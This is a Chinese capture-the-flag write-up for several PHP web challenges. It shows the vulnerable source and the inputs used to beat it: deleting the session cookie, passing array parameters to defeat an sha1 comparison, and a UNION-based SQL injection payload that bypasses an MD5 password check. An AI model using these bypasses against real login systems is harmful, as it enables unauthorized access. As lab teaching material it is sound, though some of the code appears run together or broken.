guess next session源码:
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
} mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功
bp抓包出了问题,
右键删除PHPSESSID,空白密码提交,就出来了:
FALSE:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
name!=password,但sha1后name=password时,可以成功
补充:sha1漏洞
md5 和 sha1 无法处理数组,返回 NULL if (@sha1([]) == false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
注意,name!=password,取值要不同
NSCTF web200
打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:
<?php
function decode($str)
{
$_=''; $a=base64_decode(strrev(str_rot13($str)));
for($i=0;$i<strlen($a);$i++)
{
$_c=substr($a,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag ?>
得到flag:
程序逻辑问题:
看一下源码:
<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];//输入的用户名
$pass = md5($_POST[pass]);//输入密码的md5密文 $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列)
$query = mysql_query($sql);//执行sql变量的SQL语句
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组
//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key
}
else {
echo("<p>Log in failure!</p>"); } } ?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key
于是注入:
xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1
输出flag: